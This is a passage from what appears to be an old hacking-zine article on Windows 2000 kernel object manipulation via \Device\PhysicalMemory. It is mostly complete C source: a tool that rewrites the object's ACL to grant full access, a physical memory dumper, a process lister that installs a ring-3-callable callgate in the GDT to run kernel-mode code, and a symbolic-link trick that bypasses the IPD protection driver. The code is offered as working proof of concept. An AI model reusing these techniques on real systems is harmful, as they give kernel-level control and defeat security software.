5 NtRequestWaitReplyPort(36, {124, 148, 0, 16711934, 4222620, 256, 0}, ...
{124, 148, 2, 868, 840, 7002, 0}, ) == 0x0
6 NtOpenSection (0x4, {24, 0, 0x40, 0, 0, "\??\hack_da_ipd"}, ... 44, )
== 0x0
7 NtRequestWaitReplyPort (36, {124, 148, 0, 868, 840, 7002, 0}, ... {124,
148, 2, 868, 840, 7003, 0}, ) == 0x0
8 NtClose (44, ... ) == 0x0
9 NtClose (48, ... ) == 0x0
[...]
---
(a strace for Windows is avaible at BindView's RAZOR web site. see [7])
As you can see NtOpenSection doesn't recall itself with the real name of
the object so all is good.
At this point \Device\PhysicalMemory is our so IPD is 100% corrupted :p as
we can read/write whereever we want in the memory.
Remember that you must run this program with user SYSTEM.
--[ 5 - Sample code
LICENSE:
Sample code provided with the article may be copied/duplicated and modified
in any form as long as this copyright is prepended unmodified.
Code are proof of concept and the author can and must not be made
responsible for any damage/data loss.
Use this code at your own risk.
crazylord / CNS
----[ 5.1 kmem.h
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define OBJ_KERNEL_HANDLE 0x00000200L
typedef LONG NTSTATUS;
#define STATUS_SUCCESS (NTSTATUS) 0x00000000L
#define STATUS_ACCESS_DENIED (NTSTATUS) 0xC0000022L
#define MAKE_DWORD(_l, _h) (DWORD) (_l | (_h << 16))
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
// useful macros
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
#define INIT_UNICODE(_var,_buffer) \
UNICODE_STRING _var = { \
sizeof (_buffer) - sizeof (WORD), \
sizeof (_buffer), \
_buffer }
// callgate info
typedef struct _KGDTENTRY {
WORD LimitLow;
WORD BaseLow;
WORD BaseHigh;
} KGDTENTRY, *PKGDTENTRY;
typedef struct _CALLGATE_DESCRIPTOR {
USHORT offset_0_15;
USHORT selector;
UCHAR param_count :4;
UCHAR some_bits :4;
UCHAR type :4;
UCHAR app_system :1;
UCHAR dpl :2;
UCHAR present :1;
USHORT offset_16_31;
} CALLGATE_DESCRIPTOR, *PCALLGATE_DESCRIPTOR;
// section info
typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;
typedef enum _SECTION_INHERIT {
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT;
typedef struct _MAPPING {
/*000*/ PHYSICAL_ADDRESS pAddress;
/*008*/ PVOID vAddress;
/*00C*/ DWORD Offset;
/*010*/ } MAPPING, *PMAPPING;
// symlink info
#define SYMBOLIC_LINK_QUERY (0x0001)
#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1)
// process info
// Flink to _EPROCESS
#define TO_EPROCESS(_a) ((DWORD) _a - 0xA0)
// Flink to UniqueProcessId
#define TO_PID(_a) (DWORD) ((DWORD) _a - 0x4)
// Flink to ImageFileName
#define TO_PNAME(_a) (PCHAR) ((DWORD) _a + 0x15C)
typedef struct _DISPATCHER_HEADER {
/*000*/ UCHAR Type;
/*001*/ UCHAR Absolute;
/*002*/ UCHAR Size;
/*003*/ UCHAR Inserted;
/*004*/ LONG SignalState;
/*008*/ LIST_ENTRY WaitListHead;
/*010*/ } DISPATCHER_HEADER;
typedef struct _KEVENT {
/*000*/ DISPATCHER_HEADER Header;
/*010*/ } KEVENT, *PKEVENT;
typedef struct _FAST_MUTEX {
/*000*/ LONG Count;
/*004*/ PVOID Owner;
/*008*/ ULONG Contention;
/*00C*/ KEVENT Event;
/*01C*/ ULONG OldIrql;
/*020*/ } FAST_MUTEX, *PFAST_MUTEX;
// the two following definition come from w2k_def.h by Sven B. Schreiber
typedef struct _MMSUPPORT {
/*000*/ LARGE_INTEGER LastTrimTime;
/*008*/ DWORD LastTrimFaultCount;
/*00C*/ DWORD PageFaultCount;
/*010*/ DWORD PeakWorkingSetSize;
/*014*/ DWORD WorkingSetSize;
/*018*/ DWORD MinimumWorkingSetSize;
/*01C*/ DWORD MaximumWorkingSetSize;
/*020*/ PVOID VmWorkingSetList;
/*024*/ LIST_ENTRY WorkingSetExpansionLinks;
/*02C*/ BOOLEAN AllowWorkingSetAdjustment;
/*02D*/ BOOLEAN AddressSpaceBeingDeleted;
/*02E*/ BYTE ForegroundSwitchCount;
/*02F*/ BYTE MemoryPriority;
/*030*/ } MMSUPPORT, *PMMSUPPORT;
typedef struct _IO_COUNTERS {
/*000*/ ULONGLONG ReadOperationCount;
/*008*/ ULONGLONG WriteOperationCount;
/*010*/ ULONGLONG OtherOperationCount;
/*018*/ ULONGLONG ReadTransferCount;
/*020*/ ULONGLONG WriteTransferCount;
/*028*/ ULONGLONG OtherTransferCount;
/*030*/ } IO_COUNTERS, *PIO_COUNTERS;
// this is a very simplified version :) of the EPROCESS
// structure.
typedef struct _EPROCESS {
/*000*/ BYTE Pcb[0x6C];
/*06C*/ NTSTATUS ExitStatus;
/*070*/ KEVENT LockEvent;
/*080*/ DWORD LockCount;
/*084*/ DWORD dw084;
/*088*/ LARGE_INTEGER CreateTime;
/*090*/ LARGE_INTEGER ExitTime;
/*098*/ PVOID LockOwner;
/*09C*/ DWORD UniqueProcessId;
/*0A0*/ LIST_ENTRY ActiveProcessLinks; // see PsActiveListHead
/*0A8*/ DWORD QuotaPeakPoolUsage[2]; // NP, P
/*0B0*/ DWORD QuotaPoolUsage[2]; // NP, P
/*0B8*/ DWORD PagefileUsage;
/*0BC*/ DWORD CommitCharge;
/*0C0*/ DWORD PeakPagefileUsage;
/*0C4*/ DWORD PeakVirtualSize;
/*0C8*/ LARGE_INTEGER VirtualSize;
/*0D0*/ MMSUPPORT Vm;
/*100*/ LIST_ENTRY SessionProcessLinks;
/*108*/ DWORD dw108[6];
/*120*/ PVOID DebugPort;
/*124*/ PVOID ExceptionPort;
/*128*/ PVOID ObjectTable;
/*12C*/ PVOID Token;
/*130*/ FAST_MUTEX WorkingSetLock;
/*150*/ DWORD WorkingSetPage;
/*154*/ BOOLEAN ProcessOutswapEnabled;
/*155*/ BOOLEAN ProcessOutswapped;
/*156*/ BOOLEAN AddressSpaceInitialized;
/*157*/ BOOLEAN AddressSpaceDeleted;
/*158*/ FAST_MUTEX AddressCreationLock;
/*178*/ KSPIN_LOCK HyperSpaceLock;
/*17C*/ DWORD ForkInProgress;
/*180*/ WORD VmOperation;
/*182*/ BOOLEAN ForkWasSuccessful;
/*183*/ BYTE MmAgressiveWsTrimMask;
/*184*/ DWORD VmOperationEvent;
/*188*/ PVOID PaeTop;
/*18C*/ DWORD LastFaultCount;
/*190*/ DWORD ModifiedPageCount;
/*194*/ PVOID VadRoot;
/*198*/ PVOID VadHint;
/*19C*/ PVOID CloneRoot;
/*1A0*/ DWORD NumberOfPrivatePages;
/*1A4*/ DWORD NumberOfLockedPages;
/*1A8*/ WORD NextPageColor;
/*1AA*/ BOOLEAN ExitProcessCalled;
/*1AB*/ BOOLEAN CreateProcessReported;
/*1AC*/ HANDLE SectionHandle;
/*1B0*/ PVOID Peb;
/*1B4*/ PVOID SectionBaseAddress;
/*1B8*/ PVOID QuotaBlock;
/*1BC*/ NTSTATUS LastThreadExitStatus;
/*1C0*/ DWORD WorkingSetWatch;
/*1C4*/ HANDLE Win32WindowStation;
/*1C8*/ DWORD InheritedFromUniqueProcessId;
/*1CC*/ ACCESS_MASK GrantedAccess;
/*1D0*/ DWORD DefaultHardErrorProcessing; // HEM_*
/*1D4*/ DWORD LdtInformation;
/*1D8*/ PVOID VadFreeHint;
/*1DC*/ DWORD VdmObjects;
/*1E0*/ PVOID DeviceMap;
/*1E4*/ DWORD SessionId;
/*1E8*/ LIST_ENTRY PhysicalVadList;
/*1F0*/ PVOID PageDirectoryPte;
/*1F4*/ DWORD dw1F4;
/*1F8*/ DWORD PaePageDirectoryPage;
/*1FC*/ CHAR ImageFileName[16];
/*20C*/ DWORD VmTrimFaultValue;
/*210*/ BYTE SetTimerResolution;
/*211*/ BYTE PriorityClass;
/*212*/ WORD SubSystemVersion;
/*214*/ PVOID Win32Process;
/*218*/ PVOID Job;
/*21C*/ DWORD JobStatus;
/*220*/ LIST_ENTRY JobLinks;
/*228*/ PVOID LockedPagesList;
/*22C*/ PVOID SecurityPort;
/*230*/ PVOID Wow64;
/*234*/ DWORD dw234;
/*238*/ IO_COUNTERS IoCounters;
/*268*/ DWORD CommitChargeLimit;
/*26C*/ DWORD CommitChargePeak;
/*270*/ LIST_ENTRY ThreadListHead;
/*278*/ PVOID VadPhysicalPagesBitMap;
/*27C*/ DWORD VadPhysicalPages;
/*280*/ DWORD AweLock;
/*284*/ } EPROCESS, *PEPROCESS;
// copy ntdll.lib from Microsoft DDK to current directory
#pragma comment(lib, "ntdll")
#define IMP_SYSCALL __declspec(dllimport) NTSTATUS _stdcall
IMP_SYSCALL
NtMapViewOfSection(HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG ZeroBits,
ULONG CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,
SECTION_INHERIT InheritDisposition,
ULONG AllocationType,
ULONG Protect);
IMP_SYSCALL
NtUnmapViewOfSection(HANDLE ProcessHandle,
PVOID BaseAddress);
IMP_SYSCALL
NtOpenSection(PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes);
IMP_SYSCALL
NtClose(HANDLE Handle);
IMP_SYSCALL
NtCreateSymbolicLinkObject(PHANDLE SymLinkHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PUNICODE_STRING TargetName);
----[ 5.2 chmod_mem.c
#include <stdio.h>
#include <windows.h>
#include <aclapi.h>
#include "..\kmem.h"
void usage(char *n) {
printf("usage: %s (/current | /user) [who]\n", n);
printf("/current: add all access to current user\n");
printf("/user : add all access to user 'who'\n");
exit(0);
}
int main(int argc, char **argv) {
HANDLE Section;
DWORD Res;
NTSTATUS ntS;
PACL OldDacl=NULL, NewDacl=NULL;
PSECURITY_DESCRIPTOR SecDesc=NULL;
EXPLICIT_ACCESS Access;
OBJECT_ATTRIBUTES ObAttributes;
INIT_UNICODE(ObName, L"\\Device\\PhysicalMemory");
BOOL mode;
if (argc < 2)
usage(argv[0]);
if (!strcmp(argv[1], "/current")) {
mode = 1;
} else if (!strcmp(argv[1], "/user") && argc == 3) {
mode = 2;
} else
usage(argv[0]);
memset(&Access, 0, sizeof(EXPLICIT_ACCESS));
InitializeObjectAttributes(&ObAttributes,
&ObName,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
NULL,
NULL);
// open handle de \Device\PhysicalMemory
ntS = NtOpenSection(&Section, WRITE_DAC | READ_CONTROL, &ObAttributes);
if (ntS != STATUS_SUCCESS) {
printf("error: NtOpenSection (code: %x)\n", ntS);
goto cleanup;
}
// retrieve a copy of the security descriptor
Res = GetSecurityInfo(Section, SE_KERNEL_OBJECT,
DACL_SECURITY_INFORMATION, NULL, NULL, &OldDacl,
NULL, &SecDesc);
if (Res != ERROR_SUCCESS) {
printf("error: GetSecurityInfo (code: %lu)\n", Res);
goto cleanup;
}
Access.grfAccessPermissions = SECTION_ALL_ACCESS; // :P
Access.grfAccessMode = GRANT_ACCESS;
Access.grfInheritance = NO_INHERITANCE;
Access.Trustee.MultipleTrusteeOperation = NO_MULTIPLE_TRUSTEE;
// change these informations to grant access to a group or other user
Access.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
Access.Trustee.TrusteeType = TRUSTEE_IS_USER;
if (mode == 1)
Access.Trustee.ptstrName = "CURRENT_USER";
else
Access.Trustee.ptstrName = argv[2];
// create the new ACL
Res = SetEntriesInAcl(1, &Access, OldDacl, &NewDacl);
if (Res != ERROR_SUCCESS) {
printf("error: SetEntriesInAcl (code: %lu)\n", Res);
goto cleanup;
}
// update ACL
Res = SetSecurityInfo(Section, SE_KERNEL_OBJECT,
DACL_SECURITY_INFORMATION, NULL, NULL, NewDacl,
NULL);
if (Res != ERROR_SUCCESS) {
printf("error: SetEntriesInAcl (code: %lu)\n", Res);
goto cleanup;
}
printf("\\Device\\PhysicalMemory chmoded\n");
cleanup:
if (Section)
NtClose(Section);
if (SecDesc)
LocalFree(SecDesc);
return(0);
}
----[ 5.3 winkdump.c
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include "..\kmem.h"
ULONG Granularity;
// thanx to kraken for the hexdump function
void hexdump(unsigned char *data, unsigned int amount) {
unsigned int dp, p;
const char trans[] =
"................................ !\"#$%&'()*+,-./0123456789"
":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
"nopqrstuvwxyz{|}~...................................."
"....................................................."
"........................................";
for (dp = 1; dp <= amount; dp++) {
printf ("%02x ", data[dp-1]);
if ((dp % 8) == 0)
printf (" ");
if ((dp % 16) == 0) {
printf ("| ");
p = dp;
for (dp -= 16; dp < p; dp++)
printf ("%c", trans[data[dp]]);
printf ("\n");
}
}
if ((amount % 16) != 0) {
p = dp = 16 - (amount % 16);
for (dp = p; dp > 0; dp--) {
printf (" ");
if (((dp % 8) == 0) && (p != 8))
printf (" ");
}
printf (" | ");
for (dp = (amount - (16 - p)); dp < amount; dp++)
printf ("%c", trans[data[dp]]);
}
printf ("\n");
return ;
}
PHYSICAL_ADDRESS GetPhysicalAddress(ULONG vAddress) {
PHYSICAL_ADDRESS add;
if (vAddress < 0x80000000L || vAddress >= 0xA0000000L)
add.QuadPart = (ULONGLONG) vAddress & 0xFFFF000;
else
add.QuadPart = (ULONGLONG) vAddress & 0x1FFFF000;
return(add);
}
int InitSection(PHANDLE Section) {
NTSTATUS ntS;
OBJECT_ATTRIBUTES ObAttributes;
INIT_UNICODE(ObString, L"\\Device\\PhysicalMemory");
InitializeObjectAttributes(&ObAttributes,
&ObString,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
NULL,
NULL);
// open \Device\PhysicalMemory
ntS = NtOpenSection(Section,
SECTION_MAP_READ,
&ObAttributes);
if (ntS != STATUS_SUCCESS) {
printf(" * error NtOpenSection (code: %x)\n", ntS);
return(0);
}
return(1);
}
int main(int argc, char **argv) {
NTSTATUS ntS;
ULONG Address, Size, MappedSize, Offset;
HANDLE Section;
PVOID MappedAddress=NULL;
SYSTEM_INFO SysInfo;
PHYSICAL_ADDRESS pAddress;
printf(" *** win2k memory dumper ***\n\n");
if (argc != 3) {
printf("usage: %s <address> <size>\n", argv[0]);
return(0);
}
Address = strtoul(argv[1], NULL, 0);
MappedSize = Size = strtoul(argv[2], NULL, 10);
printf(" Virtual Address : 0x%.8x\n", Address);
if (!Size) {
printf("error: invalid size\n");
return(0);
}
// get allocation granularity information
GetSystemInfo(&SysInfo);
Granularity = SysInfo.dwAllocationGranularity;
printf(" Allocation granularity: %lu bytes\n", Granularity);
if (!InitSection(&Section))
return(0);
Offset = Address % Granularity;
MappedSize += Offset; // reajust mapping view
printf(" Offset : 0x%x\n", Offset);
pAddress = GetPhysicalAddress(Address - Offset);
printf(" Physical Address : 0x%.16x\n", pAddress);
ntS = NtMapViewOfSection(Section, (HANDLE) -1, &MappedAddress, 0L,
MappedSize, &pAddress, &MappedSize, ViewShare,
0, PAGE_READONLY);
printf(" Mapped size : %lu bytes\n", MappedSize);
printf(" View size : %lu bytes\n\n", Size);
if (ntS == STATUS_SUCCESS) {
hexdump((char *)MappedAddress+Offset, Size);
NtUnmapViewOfSection((HANDLE) -1, MappedAddress);
} else {
if (ntS == 0xC00000F4L)
printf("error: invalid physical address translation\n");
else
printf("error: NtMapViewOfSection (code: %x)\n", ntS);
}
NtClose(Section);
return(0);
}
----[ 5.2 winkps.c
// code very messy but working :)
#include <stdio.h>
#include <windows.h>
#include "..\kmem.h"
// get this address from win2k symbols
#define PSADD 0x8046A180 // PsActiveProcessHead
// default base address for ntoskrnl.exe on win2k
#define BASEADD 0x7FFE0000 // MmGetPhysicalAddress
// max process, to prevent easy crashing
#define MAX_PROCESS 50
typedef struct _MY_CG {
PHYSICAL_ADDRESS pAddress;
PVOID MappedAddress;
PCALLGATE_DESCRIPTOR Desc;
WORD Segment;
WORD LastEntry;
} MY_CG, *PMY_CG;
ULONG Granularity;
PLIST_ENTRY PsActiveProcessHead = (PLIST_ENTRY) PSADD;
MY_CG GdtMap;
MAPPING CurMap;
PHYSICAL_ADDRESS (*MmGetPhysicalAddress) (PVOID BaseAddress);
void __declspec(naked) Ring0Func() {
_asm {
pushad
pushf
cli
mov esi, CurMap.vAddress
push esi
call MmGetPhysicalAddress
mov CurMap.pAddress, eax // save low part of LARGE_INTEGER
mov [CurMap+4], edx // save high part of LARGE_INTEGER
popf
popad
retf
}
}
// function which call the callgate
PHYSICAL_ADDRESS NewGetPhysicalAddress(PVOID vAddress) {
WORD farcall[3];
HANDLE Thread = GetCurrentThread();
farcall[2] = GdtMap.Segment;
if(!VirtualLock((PVOID) Ring0Func, 0x30)) {
printf("error: unable to lock function\n");
CurMap.pAddress.QuadPart = 1;
} else {
CurMap.vAddress = vAddress; // ugly way to pass argument
CurMap.Offset = (DWORD) vAddress % Granularity;
(DWORD) CurMap.vAddress -= CurMap.Offset;
SetThreadPriority(Thread, THREAD_PRIORITY_TIME_CRITICAL);
Sleep(0);
_asm call fword ptr [farcall]
SetThreadPriority(Thread,THREAD_PRIORITY_NORMAL);
VirtualUnlock((PVOID) Ring0Func, 0x30);
}
return(CurMap.pAddress);
}
PHYSICAL_ADDRESS GetPhysicalAddress(ULONG vAddress) {
PHYSICAL_ADDRESS add;
if (vAddress < 0x80000000L || vAddress >= 0xA0000000L) {
add.QuadPart = (ULONGLONG) vAddress & 0xFFFF000;
} else {
add.QuadPart = (ULONGLONG) vAddress & 0x1FFFF000;
}
return(add);
}
void UnmapMemory(PVOID MappedAddress) {
NtUnmapViewOfSection((HANDLE) -1, MappedAddress);
}
int InstallCallgate(HANDLE Section, DWORD Function) {
NTSTATUS ntS;
KGDTENTRY gGdt;
DWORD Size;
PCALLGATE_DESCRIPTOR CgDesc;
_asm sgdt gGdt;
printf("virtual address of GDT : 0x%.8x\n",
MAKE_DWORD(gGdt.BaseLow, gGdt.BaseHigh));
GdtMap.pAddress =
GetPhysicalAddress(MAKE_DWORD(gGdt.BaseLow, gGdt.BaseHigh));
printf("physical address of GDT: 0x%.16x\n", GdtMap.pAddress.QuadPart);
Size = gGdt.LimitLow;
ntS = NtMapViewOfSection(Section, (HANDLE) -1, &GdtMap.MappedAddress,
0L, Size, &GdtMap.pAddress, &Size, ViewShare,
0, PAGE_READWRITE);
if (ntS != STATUS_SUCCESS || !GdtMap.MappedAddress) {
printf("error: NtMapViewOfSection (code: %x)\n", ntS);
return(0);
}
GdtMap.LastEntry = gGdt.LimitLow & 0xFFF8; // offset to last entry
for(CgDesc = (PVOID) ((DWORD)GdtMap.MappedAddress+GdtMap.LastEntry),
GdtMap.Desc=NULL;
(DWORD) CgDesc > (DWORD) GdtMap.MappedAddress;
CgDesc--) {
//printf("present:%x, type:%x\n", CgDesc->present, CgDesc->type);
if(CgDesc->present == 0){
CgDesc->offset_0_15 = (WORD) (Function & 0xFFFF);
CgDesc->selector = 8;
CgDesc->param_count = 0; //1;
CgDesc->some_bits = 0;
CgDesc->type = 12; // 32-bits callgate junior :>
CgDesc->app_system = 0; // A system segment
CgDesc->dpl = 3; // Ring 3 code can call
CgDesc->present = 1;
CgDesc->offset_16_31 = (WORD) (Function >> 16);
GdtMap.Desc = CgDesc;
break;
}
}
if (GdtMap.Desc == NULL) {
printf("error: unable to find free entry for installing callgate\n");
printf(" not normal by the way .. your box is strange =]\n");
}
GdtMap.Segment =
((WORD) ((DWORD) CgDesc - (DWORD) GdtMap.MappedAddress))|3;
printf("Allocated segment : %x\n", GdtMap.Segment);
return(1);
}
int UninstallCallgate(HANDLE Section, DWORD Function) {
PCALLGATE_DESCRIPTOR CgDesc;
for(CgDesc = (PVOID) ((DWORD) GdtMap.MappedAddress+GdtMap.LastEntry);
(DWORD) CgDesc > (DWORD) GdtMap.MappedAddress;
CgDesc--) {
if((CgDesc->offset_0_15 == (WORD) (Function & 0xFFFF))
&& CgDesc->offset_16_31 == (WORD) (Function >> 16)){
memset(CgDesc, 0, sizeof(CALLGATE_DESCRIPTOR));
return(1);
}
}
NtUnmapViewOfSection((HANDLE) -1, GdtMap.MappedAddress);
return(0);
}
void UnmapVirtualMemory(PVOID vAddress) {
NtUnmapViewOfSection((HANDLE) -1, vAddress);
}
PVOID MapVirtualMemory(HANDLE Section, PVOID vAddress, DWORD Size) {
PHYSICAL_ADDRESS pAddress;
NTSTATUS ntS;
DWORD MappedSize;
PVOID MappedAddress=NULL;
//printf("* vAddress: 0x%.8x\n", vAddress);
pAddress = NewGetPhysicalAddress((PVOID) vAddress);
//printf("* vAddress: 0x%.8x (after rounding, offset: 0x%x)\n",
// CurMap.vAddress, CurMap.Offset);
//printf("* pAddress: 0x%.16x\n", pAddress);
// check for error (1= impossible value)
if (pAddress.QuadPart != 1) {
Size += CurMap.Offset; // adjust mapping view
MappedSize = Size;
ntS = NtMapViewOfSection(Section, (HANDLE) -1, &MappedAddress,
0L, Size, &pAddress, &MappedSize, ViewShare,
0, PAGE_READONLY);
if (ntS != STATUS_SUCCESS || !MappedSize) {
printf(" error: NtMapViewOfSection, mapping 0x%.8x (code: %x)\n",
vAddress, ntS);
return(NULL);
}
} else
MappedAddress = NULL;
printf("mapped 0x%x bytes @ 0x%.8x (init Size: 0x%x bytes)\n",
MappedSize, MappedAddress, Size);
return(MappedAddress);
}
void DisplayProcesses(HANDLE Section) {
int i = 0;
DWORD Padding;
PEPROCESS CurProcess, NextProcess;
PVOID vCurEntry, vOldEntry, NewMappedAddress;
PLIST_ENTRY PsCur;
// first we map PsActiveProcessHead to get first entry
vCurEntry = MapVirtualMemory(Section, PsActiveProcessHead, 4);
if (!vCurEntry)
return;
PsCur = (PLIST_ENTRY) ((DWORD) vCurEntry + CurMap.Offset);
// most of EPROCESS struct are located around 0xfc[e-f]00000
// so we map 0x100000 bytes (~ 1mb) to avoid heavy mem mapping
while (PsCur->Flink != PsActiveProcessHead && i<MAX_PROCESS) {
NextProcess = (PEPROCESS) TO_EPROCESS(PsCur->Flink);
//printf("==> Current process:
%x\n", CurProcess);
// we map 0x100000 bytes view so we store offset to EPROCESS
Padding = TO_EPROCESS(PsCur->Flink) & 0xFFFFF;
// check if the next struct is already mapped in memory
if ((DWORD) vCurEntry<= (DWORD) NextProcess
&& (DWORD)NextProcess+sizeof(EPROCESS)<(DWORD)vCurEntry+0x100000){
// no need to remap
// no remapping so we need to calculate the new address
CurProcess = (PEPROCESS) ((DWORD) NewMappedAddress + Padding);
} else {
CurProcess = NextProcess;
// unmap old view and map a new one
// calculate next base address to map
vOldEntry = vCurEntry;
vCurEntry = (PVOID) (TO_EPROCESS(PsCur->Flink) & 0xFFF00000);
//printf("link: %x, process: %x, to_map: %x, padding: %x\n",
// PsCur->Flink, TO_EPROCESS(PsCur->Flink),
// vCurEntry, Padding);
// unmap old view
UnmapVirtualMemory(vOldEntry);
vOldEntry = vCurEntry;
// map new view
vCurEntry = MapVirtualMemory(Section, vCurEntry, 0x100000);
if (!vCurEntry)
break;
// adjust EPROCESS structure pointer
CurProcess =
(PEPROCESS) ((DWORD) vCurEntry + CurMap.Offset + Padding);
// save mapped address
NewMappedAddress = vCurEntry;
// restore pointer from mapped addresses space 0x4**** to
// the real virtual address 0xf*******
vCurEntry = vOldEntry;
}
// reajust pointer to LIST_ENTRY struct
PsCur = &CurProcess->ActiveProcessLinks;
printf(" + %lu\t %s\n", CurProcess->UniqueProcessId,
CurProcess->ImageFileName[0] ?
CurProcess->ImageFileName : "[system]");
i++;
}
UnmapVirtualMemory(vCurEntry);
}
int main(int argc, char **argv) {
SYSTEM_INFO SysInfo;
OBJECT_ATTRIBUTES ObAttributes;
NTSTATUS ntS;
HANDLE Section;
HMODULE hDll;
INIT_UNICODE(ObString, L"\\Device\\PhysicalMemory");
printf(" *** win2k process lister ***\n\n");
GetSystemInfo(&SysInfo);
Granularity = SysInfo.dwAllocationGranularity;
printf("Allocation granularity: %lu bytes\n", Granularity);
InitializeObjectAttributes(&ObAttributes,
&ObString,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
NULL,
NULL);
hDll = LoadLibrary("ntoskrnl.exe");
if (hDll) {
MmGetPhysicalAddress = (PVOID) ((DWORD) BASEADD +
(DWORD) GetProcAddress(hDll, "MmGetPhysicalAddress"));
printf("MmGetPhysicalAddress : 0x%.8x\n", MmGetPhysicalAddress);
FreeLibrary(hDll);
}
ntS = NtOpenSection(&Section, SECTION_MAP_READ|SECTION_MAP_WRITE,
&ObAttributes);
if (ntS != STATUS_SUCCESS) {
if (ntS == STATUS_ACCESS_DENIED)
printf("error: access denied to open
\\Device\\PhysicalMemory for r/w\n");
else
printf("error: NtOpenSection (code: %x)\n", ntS);
goto cleanup;
}
if (!InstallCallgate(Section, (DWORD) Ring0Func))
goto cleanup;
memset(&CurMap, 0, sizeof(MAPPING));
__try {
DisplayProcesses(Section);
} __except(UninstallCallgate(Section, (DWORD) Ring0Func), 1) {
printf("exception: trying to clean callgate...\n");
goto cleanup;
}
if (!UninstallCallgate(Section, (DWORD) Ring0Func))
goto cleanup;
cleanup:
if (Section)
NtClose(Section);
return(0);
}
----[ 5.4 fun_with_ipd.c
#include <stdio.h>
#include <conio.h>
#include <windows.h>
#include "..\kmem.h"
int main() {
NTSTATUS ntS;
HANDLE SymLink, Section;
OBJECT_ATTRIBUTES ObAttributes;
INIT_UNICODE(ObName, L"\\Device\\PhysicalMemory");
INIT_UNICODE(ObNewName, L"\\??\\hack_da_ipd");
InitializeObjectAttributes(&ObAttributes,
&ObNewName,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
NULL,
NULL);
ntS = NtCreateSymbolicLinkObject(&SymLink, SYMBOLIC_LINK_ALL_ACCESS,
&ObAttributes, &ObName);
if (ntS != STATUS_SUCCESS) {
printf("error: NtCreateSymbolicLinkObject (code: %x)\n", ntS);
return(0);
}
ntS = NtOpenSection(&Section, SECTION_MAP_READ, &ObAttributes);
if (ntS != STATUS_SUCCESS)
printf("error: NtOpenSection (code: %x)\n", ntS);
else {
printf("\\Device\\PhysicalMemory opened !!!\n");
NtClose(Section);
}
// now you can do what you want
getch();
NtClose(SymLink);
return(0);
}
--[ 6 - Conclusion
I hope this article helped you to understand the base of Windows kernel
objects manipulation. As far as i know you can do as much things as you can
with linux's /dev/kmem so there is no restriction except your imagination
:).
I also hope that this article will be readen by Linux dudes.
Thankx to CNS, u-n-f and subk dudes, ELiCZ for some help and finally
syn/ack oldschool people (wilmi power) =]
--[ 7 - References
[1] Sysinternals - www.sysinternals.com
[2] Microsoft DDK - www.microsoft.com/DDK/
[3] unofficial ntifs.h - www.insidewindows.info
[4] www.chapeaux-noirs.org/win/
[5] Intel IA-32 Software Developper manual - developer.intel.com
[6] Pedestal Software - www.pedestalsoftware.com
[7] BindView's RAZOR - razor.bindview.com
[8] Open Systems Resources - www.osr.com
[9] MSDN - msdn.microsoft.com
books:
* Undocumented Windows 2000 Secrets, A Programmer's Cookbook
(http://www.orgon.com/w2k_internals/)
* Inside Microsoft Windows 2000, Third Edition
(http://www.microsoft.com/mspress/books/4354.asp)
* Windows NT/2000 Native API Reference
|=[ EOF ]=---------------------------------------------------------------=|